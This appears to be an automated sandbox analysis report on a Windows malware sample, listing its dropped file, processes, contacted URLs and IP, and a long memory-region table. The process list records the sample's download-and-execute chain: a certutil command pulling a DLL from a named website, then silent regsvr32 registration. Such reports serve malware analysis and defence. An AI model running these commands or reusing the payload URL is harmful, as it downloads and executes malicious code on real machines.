Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
cBQPecnQRp.exe
|
PE32 executable (GUI) Intel 80386, for MS Windows
|
initial sample
|
 |
|
|
C:\ProgramData\actXApiLib.dll
|
HTML document, ASCII text
|
dropped
|
|
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Users\user\Desktop\cBQPecnQRp.exe
|
'C:\Users\user\Desktop\cBQPecnQRp.exe'
|
|
|
|
C:\Windows\SysWOW64\cmd.exe
|
C:\Windows\System32\cmd.exe
|
|
|
|
C:\Windows\SysWOW64\certutil.exe
|
certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll'
|
|
|
|
C:\Windows\SysWOW64\regsvr32.exe
|
regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll'
|
|
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
 |
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
https://www.christchurchmvl.org/volunteer/actXApiLib.dll
|
100.26.95.170
|
|
|
|
https://www.christchurchmvl.org/volunteer/actXApiLib.dllC:
|
unknown
|
|
|
|
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
|
unknown
|
|
|
|
https://sectigo.com/CPS0
|
unknown
|
|
|
|
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
|
unknown
|
|
|
|
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
|
unknown
|
|
|
|
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
|
unknown
|
|
|
|
http://ocsp.sectigo.com0
|
unknown
|
|
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
christchurchmvl.org
|
100.26.95.170
|
|
|
|
www.christchurchmvl.org
|
unknown
|
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
100.26.95.170
|
christchurchmvl.org
|
United States
|
|
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
7FF59634A000
|
unkown image
|
page readonly
|
|
|
|
299B0CE0000
|
unkown image
|
page readonly
|
|
|
|
2560000
|
unkown
|
page read and write
|
|
|
|
7DF5AB3E2000
|
unkown image
|
page readonly
|
|
|
|
E00177F000
|
unkown
|
page read and write
|
|
|
|
299B17AA000
|
unkown
|
page read and write
|
|
|
|
7FF5CD818000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD89A000
|
unkown image
|
page readonly
|
|
|
|
7DF539C02000
|
unkown image
|
page readonly
|
|
|
|
299B175E000
|
unkown
|
page read and write
|
|
|
|
206A6C13000
|
unkown
|
page read and write
|
|
|
|
225B000
|
unkown image
|
page readonly
|
|
|
|
CA2D2FE000
|
unkown
|
page read and write
|
|
|
|
466D000
|
unkown
|
page read and write
|
|
|
|
299B1784000
|
unkown
|
page read and write
|
|
|
|
299B17D9000
|
unkown
|
page read and write
|
|
|
|
4FD000
|
unkown image
|
page write copy
|
|
|
|
7FF59B25E000
|
unkown image
|
page readonly
|
|
|
|
2580000
|
unkown
|
page read and write
|
|
|
|
299B1784000
|
unkown
|
page read and write
|
|
|
|
4B9000
|
unkown image
|
page readonly
|
|
|
|
1BFA8F60000
|
unkown image
|
page readonly
|
|
|
|
299B17A5000
|
unkown
|
page read and write
|
|
|
|
299B0EF0000
|
unkown
|
page read and write
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
206A6C50000
|
unkown
|
page read and write
|
|
|
|
7DF5E2940000
|
unkown image
|
page readonly
|
|
|
|
251A4300000
|
unkown image
|
page readonly
|
|
|
|
299B17A3000
|
unkown
|
page read and write
|
|
|
|
22F6000
|
unkown image
|
page readonly
|
|
|
|
299B0DF0000
|
unkown image
|
page readonly
|
|
|
|
1BFA8F80000
|
unkown
|
page read and write
|
|
|
|
7DF5E2930000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7DC000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD79C000
|
unkown image
|
page readonly
|
|
|
|
2920BC5C000
|
unkown
|
page read and write
|
|
|
|
299B1700000
|
unkown
|
page read and write
|
|
|
|
7FF52BAE1000
|
unkown image
|
page readonly
|
|
|
|
299B17B8000
|
unkown
|
page read and write
|
|
|
|
299B1785000
|
unkown
|
page read and write
|
|
|
|
7FF52BC44000
|
unkown image
|
page readonly
|
|
|
|
299B0E58000
|
unkown
|
page read and write
|
|
|
|
299B1792000
|
unkown
|
page read and write
|
|
|
|
7FF5962C8000
|
unkown image
|
page readonly
|
|
|
|
299B17A7000
|
unkown
|
page read and write
|
|
|
|
206A6D02000
|
unkown
|
page read and write
|
|
|
|
299B17BC000
|
unkown
|
page read and write
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
7FFC0000
|
unkown image
|
page readonly
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
299B17B6000
|
unkown
|
page read and write
|
|
|
|
299B1762000
|
unkown
|
page read and write
|
|
|
|
7F240000
|
unkown image
|
page readonly
|
|
|
|
7FF000
|
unkown
|
page read and write
|
|
|
|
2920BB00000
|
unkown image
|
page read and write
|
|
|
|
206A6C63000
|
unkown
|
page read and write
|
|
|
|
299B17A9000
|
unkown
|
page read and write
|
|
|
|
7DF539C20000
|
unkown image
|
page readonly
|
|
|
|
4F4000
|
unkown image
|
page read and write
|
|
|
|
7FF596121000
|
unkown image
|
page readonly
|
|
|
|
1090000
|
unkown
|
page read and write
|
|
|
|
251A3DE7000
|
unkown
|
page read and write
|
|
|
|
7FF5CD8A2000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7AE000
|
unkown image
|
page readonly
|
|
|
|
19D000
|
unkown
|
page read and write
|
|
|
|
2F0A000
|
unkown image
|
page readonly
|
|
|
|
180000
|
unkown image
|
page readonly
|
|
|
|
7FF524AD4000
|
unkown image
|
page readonly
|
|
|
|
299B0E70000
|
unkown
|
page read and write
|
|
|
|
2F70000
|
unkown image
|
page readonly
|
|
|
|
6FE000
|
unkown
|
page read and write
|
|
|
|
485E000
|
unkown
|
page read and write
|
|
|
|
7FFB2000
|
unkown image
|
page readonly
|
|
|
|
E0012FE000
|
unkown
|
page read and write
|
|
|
|
7FF52BC0B000
|
unkown image
|
page readonly
|
|
|
|
5D6000
|
unkown
|
page read and write
|
|
|
|
7F242000
|
unkown image
|
page readonly
|
|
|
|
299B0E4E000
|
unkown
|
page read and write
|
|
|
|
299B1C9D000
|
unkown
|
page read and write
|
|
|
|
206A6B90000
|
unkown image
|
page readonly
|
|
|
|
299B17A8000
|
unkown
|
page read and write
|
|
|
|
2920BC29000
|
unkown
|
page read and write
|
|
|
|
299B1765000
|
unkown
|
page read and write
|
|
|
|
1224000
|
unkown image
|
page readonly
|
|
|
|
7FF524AEE000
|
unkown image
|
page readonly
|
|
|
|
7FF52B557000
|
unkown image
|
page readonly
|
|
|
|
7DF5E2920000
|
unkown image
|
page readonly
|
|
|
|
299B0EBE000
|
unkown
|
page read and write
|
|
|
|
299B1C1E000
|
unkown
|
page read and write
|
|
|
|
2D90000
|
unkown image
|
page readonly
|
|
|
|
7FF52BC5F000
|
unkown image
|
page readonly
|
|
|
|
7FF59B277000
|
unkown image
|
page readonly
|
|
|
|
7FF5962DD000
|
unkown image
|
page readonly
|
|
|
|
7FF524ADA000
|
unkown image
|
page readonly
|
|
|
|
299B17BF000
|
unkown
|
page read and write
|
|
|
|
309F000
|
unkown image
|
page readonly
|
|
|
|
7DF4AE2A0000
|
unkown image
|
page readonly
|
|
|
|
7DF5AB3E2000
|
unkown image
|
page readonly
|
|
|
|
3124000
|
unkown image
|
page readonly
|
|
|
|
299B17C7000
|
unkown
|
page read and write
|
|
|
|
CA2D3F9000
|
unkown
|
page read and write
|
|
|
|
307C000
|
unkown image
|
page readonly
|
|
|
|
7FF59B1CC000
|
unkown image
|
page readonly
|
|
|
|
299B1D02000
|
unkown
|
page read and write
|
|
|
|
299B17C7000
|
unkown
|
page read and write
|
|
|
|
7FF5961CC000
|
unkown image
|
page readonly
|
|
|
|
7DF540D90000
|
unkown image
|
page readonly
|
|
|
|
206A6C29000
|
unkown
|
page read and write
|
|
|
|
299B0E4A000
|
unkown
|
page read and write
|
|
|
|
306C000
|
unkown image
|
page readonly
|
|
|
|
299B17A5000
|
unkown
|
page read and write
|
|
|
|
37D000
|
unkown
|
page read and write
|
|
|
|
A2A000
|
heap default
|
page read and write
|
|
|
|
1BFA8E80000
|
heap default
|
page read and write
|
|
|
|
299B17A7000
|
unkown
|
page read and write
|
|
|
|
7FF596141000
|
unkown image
|
page readonly
|
|
|
|
860000
|
unkown
|
page read and write
|
|
|
|
7DF539C10000
|
unkown image
|
page readonly
|
|
|
|
400000
|
unkown image
|
page readonly
|
|
|
|
2323000
|
unkown image
|
page readonly
|
|
|
|
2920BC3C000
|
unkown
|
page read and write
|
|
|
|
1DC000
|
unkown
|
page read and write
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
299B0EEF000
|
unkown
|
page read and write
|
|
|
|
299B17C5000
|
unkown
|
page read and write
|
|
|
|
1090000
|
unkown
|
page read and write
|
|
|
|
7FF59B0B1000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD82D000
|
unkown image
|
page readonly
|
|
|
|
2920BC58000
|
unkown
|
page read and write
|
|
|
|
7DF5B03D2000
|
unkown image
|
page readonly
|
|
|
|
73D000
|
unkown
|
page read and write
|
|
|
|
7F130000
|
unkown image
|
page readonly
|
|
|
|
299B1792000
|
unkown
|
page read and write
|
|
|
|
1BFA9580000
|
unkown image
|
page readonly
|
|
|
|
7FF52BCE4000
|
unkown image
|
page readonly
|
|
|
|
3369D77000
|
unkown
|
page read and write
|
|
|
|
2920BB50000
|
unkown image
|
page readonly
|
|
|
|
7FF596260000
|
unkown image
|
page readonly
|
|
|
|
545000
|
unkown image
|
page readonly
|
|
|
|
1A0000
|
unkown image
|
page readonly
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
299B175F000
|
unkown
|
page read and write
|
|
|
|
299B17C3000
|
unkown
|
page read and write
|
|
|
|
2C93000
|
unkown image
|
page readonly
|
|
|
|
299B0CC0000
|
unkown image
|
page readonly
|
|
|
|
2920BC71000
|
unkown
|
page read and write
|
|
|
|
7FF52BBA0000
|
unkown image
|
page readonly
|
|
|
|
299B1C1E000
|
unkown
|
page read and write
|
|
|
|
633000
|
heap default
|
page read and write
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
3138000
|
unkown image
|
page readonly
|
|
|
|
3073000
|
unkown image
|
page readonly
|
|
|
|
2EE9000
|
unkown image
|
page readonly
|
|
|
|
299B0E4D000
|
unkown
|
page read and write
|
|
|
|
7FF5CD829000
|
unkown image
|
page readonly
|
|
|
|
2920BB20000
|
unkown image
|
page readonly
|
|
|
|
251A3DB9000
|
heap default
|
page read and write
|
|
|
|
1BFA904D000
|
unkown
|
page read and write
|
|
|
|
1BFA9108000
|
unkown
|
page read and write
|
|
|
|
299B176C000
|
unkown
|
page read and write
|
|
|
|
299B1764000
|
unkown
|
page read and write
|
|
|
|
7DF5E2920000
|
unkown image
|
page readonly
|
|
|
|
2EE0000
|
unkown image
|
page readonly
|
|
|
|
1BFA904B000
|
unkown
|
page read and write
|
|
|
|
206A6C52000
|
unkown
|
page read and write
|
|
|
|
3132000
|
unkown image
|
page readonly
|
|
|
|
7FF52B467000
|
unkown image
|
page readonly
|
|
|
|
7FF524B0D000
|
unkown image
|
page readonly
|
|
|
|
299B17A2000
|
unkown
|
page read and write
|
|
|
|
7FF52B817000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7B0000
|
unkown image
|
page readonly
|
|
|
|
251A3DF8000
|
unkown
|
page read and write
|
|
|
|
299B0EFA000
|
unkown
|
page read and write
|
|
|
|
299B17B0000
|
unkown
|
page read and write
|
|
|
|
5CB000
|
unkown
|
page read and write
|
|
|
|
1BFA9200000
|
unkown image
|
page readonly
|
|
|
|
7DF539C10000
|
unkown image
|
page readonly
|
|
|
|
7FF59B1AD000
|
unkown image
|
page readonly
|
|
|
|
3111000
|
unkown image
|
page readonly
|
|
|
|
2EF5000
|
unkown image
|
page readonly
|
|
|
|
7FF52BC4A000
|
unkown image
|
page readonly
|
|
|
|
E00117F000
|
unkown
|
page read and write
|
|
|
|
299B1D02000
|
unkown
|
page read and write
|
|
|
|
7DF4E07F0000
|
unkown image
|
page readonly
|
|
|
|
2920BB20000
|
unkown image
|
page readonly
|
|
|
|
299B1795000
|
unkown
|
page read and write
|
|
|
|
251A3DF8000
|
unkown
|
page read and write
|
|
|
|
7FF52BB4D000
|
unkown image
|
page readonly
|
|
|
|
299B1718000
|
unkown
|
page read and write
|
|
|
|
7FFC0000
|
unkown image
|
page readonly
|
|
|
|
7FF52BC54000
|
unkown image
|
page readonly
|
|
|
|
7FF52BCEA000
|
unkown image
|
page readonly
|
|
|
|
1BFA8E30000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7FA000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD671000
|
unkown image
|
page readonly
|
|
|
|
7FFC2000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD691000
|
unkown image
|
page readonly
|
|
|
|
299B1000000
|
unkown image
|
page readonly
|
|
|
|
299B17A3000
|
unkown
|
page read and write
|
|
|
|
7FF5962D6000
|
unkown image
|
page readonly
|
|
|
|
1BFA9047000
|
unkown
|
page read and write
|
|
|
|
7FF595E35000
|
unkown image
|
page readonly
|
|
|
|
224D000
|
unkown image
|
page readonly
|
|
|
|
299B0F16000
|
unkown
|
page read and write
|
|
|
|
299B17A3000
|
unkown
|
page read and write
|
|
|
|
2920BC8F000
|
unkown
|
page read and write
|
|
|
|
7DF539C02000
|
unkown image
|
page readonly
|
|
|
|
555000
|
heap default
|
page read and write
|
|
|
|
309D000
|
unkown image
|
page readonly
|
|
|
|
7FF5961AD000
|
unkown image
|
page readonly
|
|
|
|
299B1769000
|
unkown
|
page read and write
|
|
|
|
7FF5CD376000
|
unkown image
|
page readonly
|
|
|
|
2920BED0000
|
unkown image
|
page readonly
|
|
|
|
2920BC50000
|
unkown
|
page read and write
|
|
|
|
5E4000
|
heap default
|
page read and write
|
|
|
|
7FF524A95000
|
unkown image
|
page readonly
|
|
|
|
7FF52BC79000
|
unkown image
|
page readonly
|
|
|
|
7FF59B2CE000
|
unkown image
|
page readonly
|
|
|
|
390000
|
unkown
|
page read and write
|
|
|
|
7DF5E2922000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD601000
|
unkown image
|
page readonly
|
|
|
|
2920BC57000
|
unkown
|
page read and write
|
|
|
|
299B17A1000
|
unkown
|
page read and write
|
|
|
|
2DD1000
|
unkown image
|
page readonly
|
|
|
|
7F352000
|
unkown image
|
page readonly
|
|
|
|
7DF540D90000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD017000
|
unkown image
|
page readonly
|
|
|
|
299B0E56000
|
unkown
|
page read and write
|
|
|
|
299B1799000
|
unkown
|
page read and write
|
|
|
|
299B17A5000
|
unkown
|
page read and write
|
|
|
|
2920BD08000
|
unkown
|
page read and write
|
|
|
|
400000
|
unkown image
|
page readonly
|
|
|
|
433000
|
unkown image
|
page execute and read and write
|
|
|
|
299B1C5D000
|
unkown
|
page read and write
|
|
|
|
299B0EA6000
|
unkown
|
page read and write
|
|
|
|
E369F9E000
|
unkown
|
page read and write
|
|
|
|
299B1791000
|
unkown
|
page read and write
|
|
|
|
7FF59AE20000
|
unkown image
|
page readonly
|
|
|
|
299B0E13000
|
unkown
|
page read and write
|
|
|
|
7DF5E2922000
|
unkown image
|
page readonly
|
|
|
|
299B17BF000
|
unkown
|
page read and write
|
|
|
|
7DF540D70000
|
unkown image
|
page readonly
|
|
|
|
299B0E3C000
|
unkown
|
page read and write
|
|
|
|
7DF5B03D0000
|
unkown image
|
page readonly
|
|
|
|
299B17C7000
|
unkown
|
page read and write
|
|
|
|
180000
|
unkown image
|
page readonly
|
|
|
|
299B17A8000
|
unkown
|
page read and write
|
|
|
|
7DF539C12000
|
unkown image
|
page readonly
|
|
|
|
E36A577000
|
unkown
|
page read and write
|
|
|
|
7FF52B76E000
|
unkown image
|
page readonly
|
|
|
|
299B178B000
|
unkown
|
page read and write
|
|
|
|
7DF5B03D2000
|
unkown image
|
page readonly
|
|
|
|
7FF59B24C000
|
unkown image
|
page readonly
|
|
|
|
7DF540D70000
|
unkown image
|
page readonly
|
|
|
|
299B17AA000
|
unkown
|
page read and write
|
|
|
|
299B1799000
|
unkown
|
page read and write
|
|
|
|
299B177E000
|
unkown
|
page read and write
|
|
|
|
299B17AA000
|
unkown
|
page read and write
|
|
|
|
7FF524ABC000
|
unkown image
|
page readonly
|
|
|
|
7FF59B352000
|
unkown image
|
page readonly
|
|
|
|
7FF52BB6C000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7B5000
|
unkown image
|
page readonly
|
|
|
|
7FF59B1B3000
|
unkown image
|
page readonly
|
|
|
|
1BFA9052000
|
unkown
|
page read and write
|
|
|
|
2F84000
|
unkown image
|
page readonly
|
|
|
|
299B178E000
|
unkown
|
page read and write
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
77FF1FB000
|
unkown
|
page read and write
|
|
|
|
206A6C4C000
|
unkown
|
page read and write
|
|
|
|
7BE000
|
unkown
|
page read and write
|
|
|
|
251A3DDF000
|
unkown
|
page read and write
|
|
|
|
7FF5CD804000
|
unkown image
|
page readonly
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
299B17C0000
|
unkown
|
page read and write
|
|
|
|
7FF59B351000
|
unkown image
|
page readonly
|
|
|
|
299B1780000
|
unkown
|
page read and write
|
|
|
|
251A3CC0000
|
unkown image
|
page readonly
|
|
|
|
251A3CE0000
|
unkown image
|
page readonly
|
|
|
|
299B17A6000
|
unkown
|
page read and write
|
|
|
|
2323000
|
unkown image
|
page readonly
|
|
|
|
48FE000
|
unkown
|
page read and write
|
|
|
|
299B0D10000
|
heap default
|
page read and write
|
|
|
|
7F342000
|
unkown image
|
page readonly
|
|
|
|
7FF59AE26000
|
unkown image
|
page readonly
|
|
|
|
206A6C70000
|
unkown
|
page read and write
|
|
|
|
E001979000
|
unkown
|
page read and write
|
|
|
|
7FF524B81000
|
unkown image
|
page readonly
|
|
|
|
299B1200000
|
unkown image
|
page readonly
|
|
|
|
2920BB70000
|
heap default
|
page read and write
|
|
|
|
251A40F5000
|
heap private
|
page read and write
|
|
|
|
1150000
|
heap private
|
page read and write
|
|
|
|
435000
|
unkown image
|
page execute read
|
|
|
|
7FF52B9BB000
|
unkown image
|
page readonly
|
|
|
|
299B0EA5000
|
unkown
|
page read and write
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
299B1797000
|
unkown
|
page read and write
|
|
|
|
4B9000
|
unkown image
|
page readonly
|
|
|
|
7FF59625A000
|
unkown image
|
page readonly
|
|
|
|
299B1792000
|
unkown
|
page read and write
|
|
|
|
E0014F7000
|
unkown
|
page read and write
|
|
|
|
7FF596103000
|
unkown image
|
page readonly
|
|
|
|
7FF5962AA000
|
unkown image
|
page readonly
|
|
|
|
299B1D00000
|
unkown
|
page read and write
|
|
|
|
7FF524B7A000
|
unkown image
|
page readonly
|
|
|
|
7FF52BBDF000
|
unkown image
|
page readonly
|
|
|
|
7FFD0000
|
unkown image
|
page readonly
|
|
|
|
251A4480000
|
unkown image
|
page readonly
|
|
|
|
7F340000
|
unkown image
|
page readonly
|
|
|
|
7DF5AB3E0000
|
unkown image
|
page readonly
|
|
|
|
7FF59B297000
|
unkown image
|
page readonly
|
|
|
|
1E0000
|
unkown image
|
page readonly
|
|
|
|
30000
|
unkown image
|
page read and write
|
|
|
|
7DF539C00000
|
unkown image
|
page readonly
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
2219000
|
unkown image
|
page readonly
|
|
|
|
2920BC5B000
|
unkown
|
page read and write
|
|
|
|
299B0EC5000
|
unkown
|
page read and write
|
|
|
|
770000
|
unkown image
|
page readonly
|
|
|
|
7FF59626B000
|
unkown image
|
page readonly
|
|
|
|
7FF596344000
|
unkown image
|
page readonly
|
|
|
|
7FF52B772000
|
unkown image
|
page readonly
|
|
|
|
2920BC45000
|
unkown
|
page read and write
|
|
|
|
7FF59AAC7000
|
unkown image
|
page readonly
|
|
|
|
1BFA907B000
|
unkown
|
page read and write
|
|
|
|
77FEDCF000
|
unkown
|
page read and write
|
|
|
|
299B178B000
|
unkown
|
page read and write
|
|
|
|
1B0000
|
unkown image
|
page readonly
|
|
|
|
299B1380000
|
unkown image
|
page readonly
|
|
|
|
299B0F02000
|
unkown
|
page read and write
|
|
|
|
2590000
|
unkown
|
page read and write
|
|
|
|
2F2B000
|
unkown image
|
page readonly
|
|
|
|
2FA3000
|
unkown image
|
page readonly
|
|
|
|
299B1760000
|
unkown
|
page read and write
|
|
|
|
7FFC2000
|
unkown image
|
page readonly
|
|
|
|
299B178F000
|
unkown
|
page read and write
|
|
|
|
7FF5962CE000
|
unkown image
|
page readonly
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
7FF52BB08000
|
unkown image
|
page readonly
|
|
|
|
CA2D37F000
|
unkown
|
page read and write
|
|
|
|
6C0000
|
unkown image
|
page readonly
|
|
|
|
299B1D15000
|
unkown
|
page read and write
|
|
|
|
299B1792000
|
unkown
|
page read and write
|
|
|
|
77FF0FB000
|
unkown
|
page read and write
|
|
|
|
299B1794000
|
unkown
|
page read and write
|
|
|
|
7FF59615B000
|
unkown image
|
page readonly
|
|
|
|
206A6B60000
|
unkown image
|
page readonly
|
|
|
|
22A2000
|
unkown image
|
page readonly
|
|
|
|
7FF52BBCB000
|
unkown image
|
page readonly
|
|
|
|
206A7402000
|
unkown
|
page read and write
|
|
|
|
2EFF000
|
unkown image
|
page readonly
|
|
|
|
299B177F000
|
unkown
|
page read and write
|
|
|
|
206A6D08000
|
unkown
|
page read and write
|
|
|
|
1BFA8E50000
|
unkown image
|
page readonly
|
|
|
|
2DC8000
|
unkown image
|
page readonly
|
|
|
|
206A6C88000
|
unkown
|
page read and write
|
|
|
|
299B1780000
|
unkown
|
page read and write
|
|
|
|
299B1794000
|
unkown
|
page read and write
|
|
|
|
7F232000
|
unkown image
|
page readonly
|
|
|
|
299B17B8000
|
unkown
|
page read and write
|
|
|
|
299B0EB0000
|
unkown
|
page read and write
|
|
|
|
2D5A000
|
unkown image
|
page readonly
|
|
|
|
1BFA906F000
|
unkown
|
page read and write
|
|
|
|
646000
|
heap default
|
page read and write
|
|
|
|
299B17A7000
|
unkown
|
page read and write
|
|
|
|
1BFA9066000
|
unkown
|
page read and write
|
|
|
|
108D000
|
unkown
|
page read and write
|
|
|
|
7FF52B502000
|
unkown image
|
page readonly
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
7E0000
|
unkown image
|
page readonly
|
|
|
|
7FF524B74000
|
unkown image
|
page readonly
|
|
|
|
7DF5B03E0000
|
unkown image
|
page readonly
|
|
|
|
299B0EED000
|
unkown
|
page read and write
|
|
|
|
7DF5B03E2000
|
unkown image
|
page readonly
|
|
|
|
655000
|
unkown
|
page read and write
|
|
|
|
7FF52B6DE000
|
unkown image
|
page readonly
|
|
|
|
7FF596352000
|
unkown image
|
page readonly
|
|
|
|
7FFD0000
|
unkown image
|
page readonly
|
|
|
|
7FF596010000
|
unkown image
|
page readonly
|
|
|
|
43A000
|
unkown
|
page read and write
|
|
|
|
299B0E57000
|
unkown
|
page read and write
|
|
|
|
7FF5CD370000
|
unkown image
|
page readonly
|
|
|
|
401000
|
unkown image
|
page execute read
|
|
|
|
7F0000
|
heap private
|
page read and write
|
|
|
|
299B1C3C000
|
unkown
|
page read and write
|
|
|
|
7FF5961C4000
|
unkown image
|
page readonly
|
|
|
|
2F22000
|
unkown image
|
page readonly
|
|
|
|
7FEB0000
|
unkown image
|
page readonly
|
|
|
|
3115000
|
unkown image
|
page readonly
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
7FF52BAFE000
|
unkown image
|
page readonly
|
|
|
|
64E000
|
unkown
|
page read and write
|
|
|
|
299B17B9000
|
unkown
|
page read and write
|
|
|
|
1BFA9090000
|
unkown
|
page read and write
|
|
|
|
7FF59AE35000
|
unkown image
|
page readonly
|
|
|
|
7FF524ABF000
|
unkown image
|
page readonly
|
|
|
|
7F242000
|
unkown image
|
page readonly
|
|
|
|
7FF59B344000
|
unkown image
|
page readonly
|
|
|
|
E00187C000
|
unkown
|
page read and write
|
|
|
|
396000
|
unkown
|
page read and write
|
|
|
|
8FE000
|
unkown
|
page read and write
|
|
|
|
299B14C0000
|
unkown image
|
page write copy
|
|
|
|
299B0CB0000
|
heap private
|
page read and write
|
|
|
|
299B178F000
|
unkown
|
page read and write
|
|
|
|
1BFA904C000
|
unkown
|
page read and write
|
|
|
|
E00127C000
|
unkown
|
page read and write
|
|
|
|
7FF5CD385000
|
unkown image
|
page readonly
|
|
|
|
299B1788000
|
unkown
|
page read and write
|
|
|
|
299B178F000
|
unkown
|
page read and write
|
|
|
|
1BFA9100000
|
unkown
|
page read and write
|
|
|
|
7FF52BC6E000
|
unkown image
|
page readonly
|
|
|
|
7FF524AE4000
|
unkown image
|
page readonly
|
|
|
|
6C0000
|
unkown image
|
page readonly
|
|
|
|
7FF59B24A000
|
unkown image
|
page readonly
|
|
|
|
7FF59624A000
|
unkown image
|
page readonly
|
|
|
|
299B174E000
|
unkown
|
page read and write
|
|
|
|
299B0CF0000
|
unkown image
|
page readonly
|
|
|
|
87C000
|
unkown
|
page read and write
|
|
|
|
7DF5AB3D0000
|
unkown image
|
page readonly
|
|
|
|
2EAC000
|
unkown image
|
page readonly
|
|
|
|
7FF52BA51000
|
unkown image
|
page readonly
|
|
|
|
1F0000
|
unkown image
|
page readonly
|
|
|
|
2920BC66000
|
unkown
|
page read and write
|
|
|
|
299B1764000
|
unkown
|
page read and write
|
|
|
|
2DAD000
|
unkown image
|
page readonly
|
|
|
|
251A3DC9000
|
unkown
|
page read and write
|
|
|
|
30AF000
|
unkown image
|
page readonly
|
|
|
|
299B0E47000
|
unkown
|
page read and write
|
|
|
|
7FF524AC8000
|
unkown image
|
page readonly
|
|
|
|
4990000
|
unkown image
|
page readonly
|
|
|
|
481D000
|
unkown
|
page read and write
|
|
|
|
206A6C47000
|
unkown
|
page read and write
|
|
|
|
206A6B50000
|
heap private
|
page read and write
|
|
|
|
7DF539C00000
|
unkown image
|
page readonly
|
|
|
|
299B17A1000
|
unkown
|
page read and write
|
|
|
|
299B1768000
|
unkown
|
page read and write
|
|
|
|
299B1793000
|
unkown
|
page read and write
|
|
|
|
B80000
|
heap default
|
page read and write
|
|
|
|
7FF52BCF1000
|
unkown image
|
page readonly
|
|
|
|
299B17BD000
|
unkown
|
page read and write
|
|
|
|
2E84000
|
unkown image
|
page readonly
|
|
|
|
299B17C7000
|
unkown
|
page read and write
|
|
|
|
299B1530000
|
unkown
|
page read and write
|
|
|
|
7DF5B03F0000
|
unkown image
|
page readonly
|
|
|
|
299B1795000
|
unkown
|
page read and write
|
|
|
|
336970B000
|
unkown
|
page read and write
|
|
|
|
7FF52BC37000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7AA000
|
unkown image
|
page readonly
|
|
|
|
7F230000
|
unkown image
|
page readonly
|
|
|
|
7FF52BA36000
|
unkown image
|
page readonly
|
|
|
|
299B17AB000
|
unkown
|
page read and write
|
|
|
|
7DF540D72000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD81E000
|
unkown image
|
page readonly
|
|
|
|
299B1786000
|
unkown
|
page read and write
|
|
|
|
9D000
|
unkown
|
page read and write
|
|
|
|
7FF59B28C000
|
unkown image
|
page readonly
|
|
|
|
7DF539C20000
|
unkown image
|
page readonly
|
|
|
|
7FF59B2B4000
|
unkown image
|
page readonly
|
|
|
|
3097000
|
unkown image
|
page readonly
|
|
|
|
299B1797000
|
unkown
|
page read and write
|
|
|
|
7DF5E2932000
|
unkown image
|
page readonly
|
|
|
|
7FF5243E3000
|
unkown image
|
page readonly
|
|
|
|
206A6D13000
|
unkown
|
page read and write
|
|
|
|
7FF5962D9000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD826000
|
unkown image
|
page readonly
|
|
|
|
7FF596265000
|
unkown image
|
page readonly
|
|
|
|
299B178F000
|
unkown
|
page read and write
|
|
|
|
251A3CA0000
|
unkown image
|
page read and write
|
|
|
|
299B17A3000
|
unkown
|
page read and write
|
|
|
|
7FF5CD8A1000
|
unkown image
|
page readonly
|
|
|
|
3369E7E000
|
unkown
|
page read and write
|
|
|
|
2D60000
|
unkown image
|
page readonly
|
|
|
|
304A000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7BB000
|
unkown image
|
page readonly
|
|
|
|
937000
|
heap private
|
page read and write
|
|
|
|
7FFB0000
|
unkown image
|
page readonly
|
|
|
|
E0010FE000
|
unkown
|
page read and write
|
|
|
|
251A3DCE000
|
heap default
|
page read and write
|
|
|
|
170000
|
unkown image
|
page read and write
|
|
|
|
2EFD000
|
unkown image
|
page readonly
|
|
|
|
462D000
|
unkown
|
page read and write
|
|
|
|
299B0F08000
|
unkown
|
page read and write
|
|
|
|
1BFA9066000
|
unkown
|
page read and write
|
|
|
|
7DF5AB3F0000
|
unkown image
|
page readonly
|
|
|
|
7FF52BB53000
|
unkown image
|
page readonly
|
|
|
|
2E8C000
|
unkown image
|
page readonly
|
|
|
|
2920BC4D000
|
unkown
|
page read and write
|
|
|
|
7FF52B762000
|
